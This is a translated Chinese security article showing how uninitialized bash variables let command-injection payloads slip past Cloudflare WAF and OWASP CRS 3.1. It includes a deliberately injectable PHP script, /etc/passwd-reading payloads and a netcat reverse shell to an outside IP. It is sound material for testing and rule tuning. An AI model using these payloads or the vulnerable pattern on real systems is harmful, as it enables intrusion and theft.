當前位置:
首頁 > 新聞 > 繞過CloudFlare WAF和OWASP CRS 3核心規則集

繞過CloudFlare WAF和OWASP CRS 3核心規則集

Web應用防火牆通常會被部署在Web客戶端與Web伺服器之間,以過濾來自伺服器的惡意流量。而作為一名滲透測試人員,想要更好的突破目標系統,就必須要了解目標系統的WAF規則,以及想辦法繞過該規則。本文將以CloudFlare WAF和ModSecurity OWASP CRS3為例,為大家進行演示如何使用未初始化的Bash變數,來繞過基於WAF正則表達式的過濾器和模式匹配。


未初始化變數


在之前兩篇關於過WAF的文章中,我為大家介紹了如何在Linux系統上通過濫用bash globbing進程,來繞過WAF規則集並執行遠程命令的技巧。在本文中我將向大家展示另一種,使用未初始化bash變數繞過基於正則表達式的過濾器和模式匹配的技巧。

echo "uninitialized_variable=$uninitialized_variable"

未初始化變數的值為null(根本沒有值)。

uninitialized_variable=

可以看出,聲明但未初始化和直接設為空值是相同的。


默認情況下,Bash會像Perl那樣處理未初始化的變數:即視為空字元串!讓我們從一個例子開始。



假設我們要執行cat /etc/passwd命令,我們可以使用以下語法:

cat$u /etc$u/passwd$u

可以看到,其中

$u

會被bash視為空字元串,且對結果輸出也沒有任何的影響。我們可以簡單的驗證下,通過echo命令列印

$u。

如下:



我們可以利用這個特性來繞過WAF規則,讓我們使用CloudFlare WAF和ModSecurity OWASP核心規則集3.1進行一些測試。


CloudFlare WAF (pro plan)

和之前一樣,我將在一個非常簡單的PHP腳本上測試這種繞過技術。需要說明的是,我的測試並不針對CloudFlare WAF,測試的主要目的是為了提醒開發人員注重代碼的安全性,以及知道可以採取哪些措施來修復或編寫自定義的規則。


我啟用了CloudFlare WAF所有的規則,並將安全級別調到了最高(似乎所有規則都基於OWASP CRS2……)。


簡單的PHP測試腳本

<?php
       if(isset($_GET["host"])) {
               system("dig ".$_GET["host"]);
       }
?>

該腳本使用dig來解析主機GET參數上的給定主機名,例如:

/?host=www.google.com

響應結果:



顯然,我們只需在主機名後加一個分號,就可以實現RCE攻擊,例如:

/?host=www.google.com;ls+/


那麼,我是否可以讀取cat /etc/passwd文件呢? 讓我們來嘗試下:

/?host=www.google.com;cat+/etc/passwd

如上所示,WAF規則集阻止了我的請求。現在,讓我們嘗試使用未初始化變數繞過該規則集。

/?host=www.google.com;cat$u+/etc$u/passwd$u


請求放行!我成功讀取到了/etc/passwd文件中的內容。


CloudFlare有一些特定的規則來防止使用netcat獲得反向shell,我決定嘗試繞過它們。這裡我將所有

CloudFlare Specials

上的規則設置為了「

block

」。




首先,我嘗建立一個nc反向shell。


不出所料,CloudFlare阻止了我的請求。現在,我們在nc和/bin/bash後添加一些未初始化的bash變數,如下:

nc$u -e /bin$u/bash$u 1.2.3.4 1337


成功繞過並獲取到了一個反向shell!


ModSecurity OWASP CRS3.1


使用CRS3.1後繞過難度大大增加,尤其是將Paranoia Level調到3後(CRS3上共有Paranoia Level 1~ 4 四個級別,第四個級別幾乎無法繞過),這也是我喜歡CRS3的眾多原因之一。


與CloudFlare上發生的情況不同,將CRS3.1級別調到Paranoia Level 3後,我的第一個測試被932100規則阻止,原因是「Unix命令注入」:



那麼,我們該如何繞過這條規則呢?我嘗試使用未初始化變數以 ;的格式發送請求,看看是否可以成功繞過。如下:

?host=www.google.it;+$u+cat+/etc/passwd


可以看到,932100規則成功被繞過!但由於主機參數中包含etc/passwd字元串,我的請求再次被阻止。我能做的是在etc/passwd路徑中,添加更多的未初始化變數,如下:

?host=www.google.it;+$u+cat+/etc$u/passwd$u


與CloudFlare WAF不同,如果我們將CRS3.1的Paranoia Level調為3,那麼我們幾乎不可能繞過以雙引號包含$_GET[『host』]的PHP腳本。不信我們可以試一試:

<?php
       if(isset($_GET["host"])) {
               system("dig "".$_GET["host"].""");
       }
?>

有了雙引號後,除了分號之外我們還需要閉合或注釋掉前後的雙引號。例如:

/?host=www.google.it";cat+/etc/passwd+#

你可能會問,RCE payload中添加了這麼多額外的字元,難道不會被CloudFlare阻止嗎?我們來看結果~成功繞過!



之所以無法繞過CRS3 Paranoia Level 3,主要是由於以下兩條規則:




  • 942460 元字元異常檢測警報 - 非單字字元重複:

    由於

     「

    ;

    , 

    和 

    字元,導致請求被阻止。



  • 942260 檢測基本SQL身份驗證繞過嘗試 2/3:

    嘗試使用特殊字元,導致請求被阻止。


而如果將Paranoia Level降至2,就可以被繞過。

/?host=www.google.it";+$u+cat+/etc$u/passwd+#

總結


為什麼阻止此類請求會如此困難?為什麼WAF不阻止參數值中的$字元?原因很簡單,因為那樣會導致出現許多誤報的情況。恕我直言,相比之下我更認同CRS3的做法,只在單個值中找到4個或更多重複的非單字字元時才進行阻止。這比阻止特定的字元更加聰明有效,且誤報率也更低。

*參考來源:

secjuice,

 

FB小編 secist 編譯,轉載請註明來自FreeBuf.COM




喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

Gartner 2018 年WAF魔力象限報告:雲WAF持續增長
我下載了20幾款App,發現了這些坑

TAG:FreeBuf |